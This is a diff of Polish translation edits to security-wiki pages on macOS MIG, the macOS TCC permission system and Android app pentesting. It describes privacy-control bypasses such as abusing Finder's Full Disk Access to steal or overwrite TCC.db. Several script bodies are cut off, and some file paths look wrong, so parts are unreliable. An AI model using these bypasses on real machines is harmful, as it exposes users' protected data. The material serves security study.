-Ponieważ wiele binarnych plików teraz używa MIG do udostępniania portów mach, interesujące jest wiedzieć, jak **zidentyfikować, że MIG był używany** oraz **funkcje, które MIG wykonuje** z każdym identyfikatorem wiadomości.
+Ponieważ wiele binarnych plików teraz używa MIG do eksponowania portów mach, interesujące jest wiedzieć, jak **zidentyfikować, że MIG był używany** oraz **funkcje, które MIG wykonuje** z każdym identyfikatorem wiadomości.
 
 [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) może analizować informacje MIG z binarnego pliku Mach-O, wskazując identyfikator wiadomości i identyfikując funkcję do wykonania:
 ```bash
@@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
 ```
 ### Assembly
 
-Wcześniej wspomniano, że funkcja, która zajmie się **wywoływaniem odpowiedniej funkcji w zależności od otrzymanego identyfikatora wiadomości**, to `myipc_server`. Jednak zazwyczaj nie będziesz miał symboli binarnych (brak nazw funkcji), więc interesujące jest **sprawdzić, jak wygląda dekompilacja**, ponieważ zawsze będzie bardzo podobna (kod tej funkcji jest niezależny od funkcji wystawionych):
+Wcześniej wspomniano, że funkcja, która zajmie się **wywoływaniem odpowiedniej funkcji w zależności od otrzymanego identyfikatora wiadomości**, to `myipc_server`. Jednak zazwyczaj nie będziesz miał symboli binarnych (brak nazw funkcji), więc warto **sprawdzić, jak wygląda dekompilacja**, ponieważ zawsze będzie bardzo podobna (kod tej funkcji jest niezależny od funkcji wystawionych):
 
 {{#tabs}}
 {{#tab name="myipc_server decompiled 1"}}
@@ -340,7 +340,7 @@ r8 = 0x1;
 var_4 = 0x0;
 }
 else {
-// Wywołanie do obliczonego adresu, gdzie powinna być funkcja
+// Wywołanie obliczonego adresu, gdzie powinna być funkcja
                             (var_20)(var_10, var_18);
                             var_4 = 0x1;
 }
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
index 956708f08..05cdc94e3 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
@@ -4,13 +4,13 @@
 
 ## **Podstawowe informacje**
 
-**TCC (Transparentność, Zgoda i Kontrola)** to protokół bezpieczeństwa koncentrujący się na regulowaniu uprawnień aplikacji. Jego główną rolą jest ochrona wrażliwych funkcji, takich jak **usługi lokalizacji, kontakty, zdjęcia, mikrofon, kamera, dostęp do pełnego dysku**. Poprzez wymóg wyraźnej zgody użytkownika przed przyznaniem aplikacji dostępu do tych elementów, TCC zwiększa prywatność i kontrolę użytkownika nad swoimi danymi.
+**TCC (Transparentność, Zgoda i Kontrola)** to protokół bezpieczeństwa koncentrujący się na regulowaniu uprawnień aplikacji. Jego główną rolą jest ochrona wrażliwych funkcji, takich jak **usługi lokalizacji, kontakty, zdjęcia, mikrofon, kamera, dostęp do ułatwień dostępu i pełny dostęp do dysku**. Wymuszając wyraźną zgodę użytkownika przed przyznaniem aplikacji dostępu do tych elementów, TCC zwiększa prywatność i kontrolę użytkownika nad swoimi danymi.
 
 Użytkownicy napotykają TCC, gdy aplikacje żądają dostępu do chronionych funkcji. Jest to widoczne poprzez monit, który pozwala użytkownikom **zatwierdzić lub odmówić dostępu**. Ponadto TCC umożliwia bezpośrednie działania użytkownika, takie jak **przeciąganie i upuszczanie plików do aplikacji**, aby przyznać dostęp do konkretnych plików, zapewniając, że aplikacje mają dostęp tylko do tego, co jest wyraźnie dozwolone.
 
 ![Przykład monitu TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
 
-**TCC** jest obsługiwany przez **demon** znajdujący się w `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i skonfigurowany w `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (rejestrując usługę mach `com.apple.tccd.system`).
+**TCC** jest obsługiwane przez **demon** znajdujący się w `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i skonfigurowany w `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (rejestrując usługę mach `com.apple.tccd.system`).
 
 Istnieje **tccd w trybie użytkownika** działający dla każdego zalogowanego użytkownika zdefiniowanego w `/System/Library/LaunchAgents/com.apple.tccd.plist`, rejestrujący usługi mach `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`.
 
@@ -27,19 +27,19 @@ Uprawnienia są **dziedziczone z aplikacji nadrzędnej** a **uprawnienia** są *
 Zezwolenia/odmowy są następnie przechowywane w niektórych bazach danych TCC:
 
 - Baza danych systemowa w **`/Library/Application Support/com.apple.TCC/TCC.db`**.
-- Ta baza danych jest **chroniona przez SIP**, więc tylko obejście SIP może do niej zapisać.
-- Użytkownik TCC baza danych **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** dla preferencji per użytkownik.
-- Ta baza danych jest chroniona, więc tylko procesy z wysokimi uprawnieniami TCC, takie jak Pełny dostęp do dysku, mogą do niej zapisać (ale nie jest chroniona przez SIP).
+- Ta baza danych jest **chroniona przez SIP**, więc tylko obejście SIP może w nią zapisać.
+- Baza danych TCC użytkownika **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** dla preferencji per użytkownik.
+- Ta baza danych jest chroniona, więc tylko procesy z wysokimi uprawnieniami TCC, takie jak Pełny dostęp do dysku, mogą w nią zapisać (ale nie jest chroniona przez SIP).
 
 > [!WARNING]
-> Poprzednie bazy danych są również **chronione przez TCC dla dostępu do odczytu**. Więc **nie będziesz w stanie odczytać** swojej regularnej bazy danych TCC użytkownika, chyba że pochodzi z procesu z uprawnieniami TCC.
+> Poprzednie bazy danych są również **chronione przez TCC dla dostępu do odczytu**. Więc **nie będziesz w stanie odczytać** swojej regularnej bazy danych TCC użytkownika, chyba że pochodzi ona z procesu z uprawnieniami TCC.
 >
-> Jednak pamiętaj, że proces z tymi wysokimi uprawnieniami (jak **FDA** lub **`kTCCServiceEndpointSecurityClient`**) będzie mógł zapisać bazę danych TCC użytkowników.
+> Pamiętaj jednak, że proces z tymi wysokimi uprawnieniami (takimi jak **FDA** lub **`kTCCServiceEndpointSecurityClient`**) będzie mógł zapisać bazę danych TCC użytkowników.
 
-- Istnieje **trzecia** baza danych TCC w **`/var/db/locationd/clients.plist`**, aby wskazać klientów, którym zezwolono na **dostęp do usług lokalizacji**.
+- Istnieje **trzecia** baza danych TCC w **`/var/db/locationd/clients.plist`**, aby wskazać klientów, którym zezwolono na **dostęp do usług lokalizacyjnych**.
 - Plik chroniony przez SIP **`/Users/carlospolop/Downloads/REG.db`** (również chroniony przed dostępem do odczytu z TCC) zawiera **lokację** wszystkich **ważnych baz danych TCC**.
 - Plik chroniony przez SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (również chroniony przed dostępem do odczytu z TCC) zawiera więcej przyznanych uprawnień TCC.
-- Plik chroniony przez SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (czytelny dla każdego) jest listą dozwolonych aplikacji, które wymagają wyjątku TCC.
+- Plik chroniony przez SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (czytelny dla każdego) jest listą aplikacji, które wymagają wyjątku TCC.
 
 > [!TIP]
 > Baza danych TCC w **iOS** znajduje się w **`/private/var/mobile/Library/TCC/TCC.db`**.
@@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
 {{#endtabs}}
 
 > [!TIP]
-> Sprawdzając obie bazy danych, możesz sprawdzić, jakie uprawnienia aplikacja przyznała, zabroniła lub ich nie ma (poprosi o nie).
+> Sprawdzając obie bazy danych, możesz sprawdzić, jakie uprawnienia aplikacja przyznała, zabroniła lub ich nie ma (zostanie o to poproszona).
 
 - **`service`** to reprezentacja ciągu uprawnień TCC
 - **`client`** to **ID pakietu** lub **ścieżka do binarnego** z uprawnieniami
@@ -152,8 +152,8 @@ Po prostu wykonaj **`launctl load you_bin.plist`**, z plistą taką jak:
 
 
 - **`auth_value`** może mieć różne wartości: denied(0), unknown(1), allowed(2) lub limited(3).
-- **`auth_reason`** może przyjąć następujące wartości: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
-- Pole **csreq** jest używane do wskazania, jak zweryfikować binarny plik do wykonania i przyznania uprawnień TCC:
+- **`auth_reason`** może przyjmować następujące wartości: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
+- Pole **csreq** służy do wskazania, jak zweryfikować binarny plik do wykonania i przyznania uprawnień TCC:
 ```bash
 # Query to get cserq in printable hex
 select service, client, hex(csreq) from access where auth_value=2;
@@ -176,7 +176,7 @@ Możesz również sprawdzić **już przyznane uprawnienia** dla aplikacji w `Sys
 > [!TIP]
 > Użytkownicy _mogą_ **usuwać lub zapytywać zasady** za pomocą **`tccutil`**.
 
-#### Zresetuj uprawnienia TCC
+#### Resetowanie uprawnień TCC
 ```bash
 # You can reset all the permissions given to an application with
 tccutil reset All app.some.id
@@ -203,12 +203,12 @@ csreq -t -r /tmp/telegram_csreq.bin
 
 ### Uprawnienia i uprawnienia TCC
 
-Aplikacje **nie tylko muszą** **prosić** i **otrzymać dostęp** do niektórych zasobów, ale także muszą **mieć odpowiednie uprawnienia**.\
-Na przykład **Telegram** ma uprawnienie `com.apple.security.device.camera`, aby zażądać **dostępu do kamery**. Aplikacja, która **nie ma** tego **uprawnienia, nie będzie mogła** uzyskać dostępu do kamery (a użytkownik nie zostanie nawet poproszony o przyznanie uprawnień).
+Aplikacje **nie tylko muszą** **żądać** i **otrzymać dostęp** do niektórych zasobów, ale także muszą **mieć odpowiednie uprawnienia**.\
+Na przykład **Telegram** ma uprawnienie `com.apple.security.device.camera`, aby żądać **dostępu do kamery**. Aplikacja, która **nie ma** tego **uprawnienia, nie będzie mogła** uzyskać dostępu do kamery (a użytkownik nie zostanie nawet poproszony o przyznanie uprawnień).
 
-Jednakże, aby aplikacje mogły **uzyskać dostęp** do **niektórych folderów użytkownika**, takich jak `~/Desktop`, `~/Downloads` i `~/Documents`, **nie muszą** mieć żadnych specyficznych **uprawnień.** System przejrzysto obsłuży dostęp i **poprosi użytkownika** w razie potrzeby.
+Jednakże, aby aplikacje mogły **uzyskać dostęp** do **niektórych folderów użytkownika**, takich jak `~/Desktop`, `~/Downloads` i `~/Documents`, **nie muszą** mieć żadnych specyficznych **uprawnień.** System automatycznie obsłuży dostęp i **poprosi użytkownika** w razie potrzeby.
 
-Aplikacje Apple **nie będą generować powiadomień**. Zawierają **wcześniej przyznane prawa** w swojej liście **uprawnień**, co oznacza, że **nigdy nie wygenerują okna dialogowego**, **ani** nie pojawią się w żadnej z **baz danych TCC.** Na przykład:
+Aplikacje Apple **nie będą generować powiadomień**. Zawierają **wcześniej przyznane prawa** w swojej liście **uprawnień**, co oznacza, że **nigdy nie wygenerują okna popup**, **ani** nie pojawią się w żadnej z **baz danych TCC.** Na przykład:
 ```bash
 codesign -dv --entitlements :- /System/Applications/Calendar.app
 [...]
@@ -222,7 +222,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
 To uniknie, aby Kalendarz prosił użytkownika o dostęp do przypomnień, kalendarza i książki adresowej.
 
 > [!TIP]
-> Oprócz oficjalnej dokumentacji na temat uprawnień, możliwe jest również znalezienie nieoficjalnych **interesujących informacji o uprawnieniach w** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
+> Oprócz oficjalnej dokumentacji dotyczącej uprawnień, możliwe jest również znalezienie nieoficjalnych **interesujących informacji o uprawnieniach w** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
 
 Niektóre uprawnienia TCC to: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Nie ma publicznej listy, która definiuje wszystkie z nich, ale możesz sprawdzić tę [**listę znanych**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
 
@@ -234,7 +234,7 @@ Niektóre uprawnienia TCC to: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCS
 
 ### Intencje użytkownika / com.apple.macl
 
-Jak wspomniano wcześniej, możliwe jest **przyznanie dostępu aplikacji do pliku poprzez przeciągnięcie i upuszczenie go na nią**. Ten dostęp nie będzie określony w żadnej bazie danych TCC, ale jako **rozszerzony** **atrybut pliku**. Ten atrybut **przechowa UUID** dozwolonej aplikacji:
+Jak wspomniano wcześniej, możliwe jest **przyznanie dostępu do aplikacji do pliku poprzez przeciągnięcie i upuszczenie go na nią**. Ten dostęp nie będzie określony w żadnej bazie danych TCC, ale jako **rozszerzony** **atrybut pliku**. Ten atrybut **przechowa UUID** dozwolonej aplikacji:
 ```bash
 xattr Desktop/private.txt
 com.apple.macl
@@ -250,7 +250,7 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
 uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
 ```
 > [!NOTE]
-> Ciekawe, że atrybut **`com.apple.macl`** jest zarządzany przez **Sandbox**, a nie przez tccd.
+> Ciekawe, że atrybut **`com.apple.macl`** jest zarządzany przez **Sandbox**, a nie tccd.
 >
 > Zauważ również, że jeśli przeniesiesz plik, który pozwala na UUID aplikacji na swoim komputerze do innego komputera, ponieważ ta sama aplikacja będzie miała różne UIDs, nie przyzna dostępu do tej aplikacji.
 
@@ -324,7 +324,7 @@ macos-apple-events.md
 
 ### Automatyzacja (Finder) do FDA\*
 
-Nazwa TCC dla uprawnienia Automatyzacji to: **`kTCCServiceAppleEvents`**\
+Nazwa TCC uprawnienia Automatyzacji to: **`kTCCServiceAppleEvents`**\
 To konkretne uprawnienie TCC wskazuje również **aplikację, która może być zarządzana** w bazie danych TCC (więc uprawnienia nie pozwalają tylko na zarządzanie wszystkim).
 
 **Finder** to aplikacja, która **zawsze ma FDA** (nawet jeśli nie pojawia się w interfejsie użytkownika), więc jeśli masz **uprawnienia Automatyzacji** nad nią, możesz wykorzystać jej uprawnienia, aby **wykonać pewne akcje**.\
@@ -345,7 +345,7 @@ EOD
 ```
 {{#endtab}}
 
-{{#tab name="Kradzież systemów TCC.db"}}
+{{#tab name="Steal systems TCC.db"}}
 ```applescript
 osascript< [!WARNING]
-> Dzięki temu uprawnieniu będziesz mógł **poprosić Findera o dostęp do folderów z ograniczeniami TCC** i uzyskać pliki, ale o ile mi wiadomo, **nie będziesz mógł zmusić Findera do wykonania dowolnego kodu**, aby w pełni wykorzystać jego dostęp do FDA.
+> Z tym uprawnieniem będziesz mógł **poprosić Findera o dostęp do folderów ograniczonych przez TCC** i uzyskać pliki, ale o ile mi wiadomo, **nie będziesz mógł zmusić Findera do wykonania dowolnego kodu**, aby w pełni wykorzystać jego dostęp do FDA.
 >
 > Dlatego nie będziesz mógł w pełni wykorzystać możliwości FDA.
 
@@ -444,9 +444,9 @@ rm "$HOME/Desktop/file"
 ```
 ### Automatyzacja (SE) + Dostępność (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** do FDA\*
 
-Automatyzacja na **`System Events`** + Dostępność (**`kTCCServicePostEvent`**) pozwala na wysyłanie **naciśnięć klawiszy do procesów**. W ten sposób można nadużyć Findera, aby zmienić TCC.db użytkownika lub przyznać FDA dowolnej aplikacji (chociaż może być wymagane hasło).
+Automatyzacja na **`System Events`** + Dostępność (**`kTCCServicePostEvent`**) pozwala na wysyłanie **naciśnięć klawiszy do procesów**. W ten sposób można nadużyć Findera, aby zmienić TCC.db użytkowników lub przyznać FDA dowolnej aplikacji (chociaż może być wymagane hasło).
 
-Przykład nadpisywania TCC.db użytkownika przez Findera:
+Przykład nadpisania TCC.db użytkowników przez Findera:
 ```applescript
 -- store the TCC.db file to copy in /tmp
 osascript < [!NOTE]
-> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji w trybie odczytu lub zapisu.
+> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji w uzyskaniu dostępu do plików innej aplikacji.
 
 **Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
 
@@ -141,20 +141,20 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 ```
 Dobrą metodą na przetestowanie tego jest próba przechwycenia ruchu za pomocą jakiegoś proxy, takiego jak Burp, bez autoryzowania Burp CA na urządzeniu. Możesz również wygenerować za pomocą Burp certyfikat dla innej nazwy hosta i go użyć.
 
-### Uszkodzona kryptografia
+### Broken Cryptography
 
 **Słabe procesy zarządzania kluczami**
 
-Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie inżynieryjne może pozwolić atakującym na wydobycie poufnych informacji.
+Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/predykcyjnym w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
 
 **Użycie niebezpiecznych i/lub przestarzałych algorytmów**
 
-Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzania** **autoryzacji**, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashe** są używane do przechowywania haseł, powinny być używane hashe odporne na brute-force z solą.
+Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzania** autoryzacji, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashe** są używane do przechowywania haseł, powinny być używane hashe odporne na brute-force z solą.
 
 ### Inne kontrole
 
-- Zaleca się **obfuskację APK**, aby utrudnić atakującym pracę inżynieryjną.
-- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie jest zrootowane** i działać w konsekwencji.
+- Zaleca się **obfuskację APK**, aby utrudnić pracę inżynierom odwrotnym.
+- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie mobilne jest zrootowane** i działać w konsekwencji.
 - Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna sprawdzić, czy używany jest **emulator**.
 - Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
 - Użyj [**APKiD**](https://github.com/rednaga/APKiD), aby sprawdzić, który kompilator/pakiet/obfuskator został użyty do zbudowania APK.
@@ -181,7 +181,7 @@ Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuper
 
 ### Zautomatyzowana analiza statyczna kodu
 
-Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sank** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) i **zasady**. Te zasady wskazują na **kombinację** **źródeł-sank**, które wskazują na lukę.
+Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
 
 Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
 
@@ -218,7 +218,7 @@ content-protocol.md
 
 ### Analiza dynamiczna online
 
-Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak działa apk.
+Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak apk się zachowuje.
 
 Możesz nawet **zobaczyć logi swojej aplikacji** w sieci i połączyć się przez **adb**.
 
@@ -230,7 +230,7 @@ Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emula
 
 #### Używając emulatora
 
-- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez potrzeby używania wolnego emulatora arm).
+- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** **obsługują biblioteki ARM** bez potrzeby używania wolnego emulatora arm).
 - Dowiedz się, jak to skonfigurować na tej stronie:
 
 {{#ref}}
@@ -243,11 +243,11 @@ avd-android-virtual-device.md
 > [!NOTE]
 > Podczas tworzenia nowego emulatora na jakiejkolwiek platformie pamiętaj, że im większy ekran, tym wolniej będzie działał emulator. Wybierz małe ekrany, jeśli to możliwe.
 
-Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony przycisk zaznaczony na poniższym obrazku:
+Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony oznaczony przycisk na poniższym obrazku:
 
 ![](<../../images/image (277).png>)
 
-Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieciowy Bridge** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
+Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieci mostkowej** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
 
 #### Użyj fizycznego urządzenia
 
@@ -259,8 +259,8 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
 4. Naciśnij **Numer kompilacji** 7 razy.
 5. Wróć i znajdziesz **Opcje dewelopera**.
 
-> Po zainstalowaniu aplikacji pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
-> Sugeruję **przeprowadzenie tej wstępnej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **dowiedzieć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
+> Po zainstalowaniu aplikacji, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
+> Sugeruję **przeprowadzenie tej wstępnej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **nauczyć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
 
 ### Niezamierzony wyciek danych
 
@@ -269,7 +269,7 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
 Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
 
 > [!WARNING]
-> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
+> Zauważ, że od **nowszych wersji niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
 > Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**.
 
 **Bufor kopiowania/wklejania**
@@ -278,7 +278,7 @@ Oparty na **schowku** framework Androida umożliwia funkcjonalność kopiowania
 
 **Logi awarii**
 
-Jeśli aplikacja **zawiesza się** i **zapisuje logi**, te logi mogą pomóc atakującym, szczególnie gdy aplikacja nie może być odwrócona inżynieryjnie. Aby zminimalizować to ryzyko, unikaj logowania w przypadku awarii, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane przez kanał SSL dla bezpieczeństwa.
+Jeśli aplikacja **zawiesza się** i **zapisuje logi**, te logi mogą pomóc atakującym, szczególnie gdy aplikacja nie może być odwrócona. Aby zminimalizować to ryzyko, unikaj logowania w przypadku awarii, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane przez kanał SSL dla bezpieczeństwa.
 
 Jako pentester, **spróbuj spojrzeć na te logi**.
 
@@ -288,7 +288,7 @@ Aplikacje często integrują usługi takie jak Google Adsense, co może nieumyś
 
 ### Bazy danych SQLite
 
-Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do przechowywania informacji. Podczas testów penetracyjnych zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\
+Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas testów penetracyjnych zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\
 Bazy danych powinny znajdować się w `/data/data/the.package.name/databases`, jak `/data/data/com.mwr.example.sieve/databases`.
 
 Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**.
@@ -303,7 +303,7 @@ Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności,
 ### Eksploatacja eksportowanych aktywności
 
 [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest aktywność Androida.**](android-applications-basics.md#launcher-activity-and-other-activities)\
-Pamiętaj również, że kod aktywności zaczyna się w **metodzie `onCreate`**.
+Pamiętaj również, że kod aktywności zaczyna się w metodzie **`onCreate`**.
 
 **Ominięcie autoryzacji**
 
@@ -343,7 +343,7 @@ Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli ap
 [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest usługa.**](android-applications-basics.md#services)\
 Pamiętaj, że działania usługi zaczynają się w metodzie `onStartCommand`.
 
-Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować** ją **dynamicznie**, aby wyodrębnić poufne informacje, omijając środki autoryzacji...\
+Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować** ją **dynamicznie** w celu wyodrębnienia poufnych informacji, omijania środków autoryzacji...\
 [**Dowiedz się, jak wykorzystywać usługi za pomocą Drozer.**](drozer-tutorial/index.html#services)
 
 ### **Wykorzystywanie odbiorników rozgłoszeniowych**
@@ -351,7 +351,7 @@ Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i *
 [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest odbiornik rozgłoszeniowy.**](android-applications-basics.md#broadcast-receivers)\
 Pamiętaj, że działania odbiornika rozgłoszeniowego zaczynają się w metodzie `onReceive`.
 
-Odbiornik rozgłoszeniowy będzie czekał na określony typ wiadomości. W zależności od tego, jak odbiornik obsługuje wiadomość, może być podatny.\
+Odbiornik rozgłoszeniowy będzie czekał na rodzaj wiadomości. W zależności od tego, jak odbiornik obsługuje wiadomość, może być podatny.\
 [**Dowiedz się, jak wykorzystywać odbiorniki rozgłoszeniowe za pomocą Drozer.**](#exploiting-broadcast-receivers)
 
 ### **Wykorzystywanie schematów / głębokich linków**
@@ -361,7 +361,7 @@ Możesz **otworzyć** zadeklarowany **schemat** za pomocą **adb** lub **przegl
 ```bash
 adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
 ```
-_Uwaga, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie otworzy aplikację, która powinna otworzyć ten link._
+_Uwaga, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie wywoła aplikację, która powinna otworzyć ten link._
 ```html
 
 Click me
@@ -381,16 +381,16 @@ Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera wrażliw
 **Parametry w ścieżce**
 
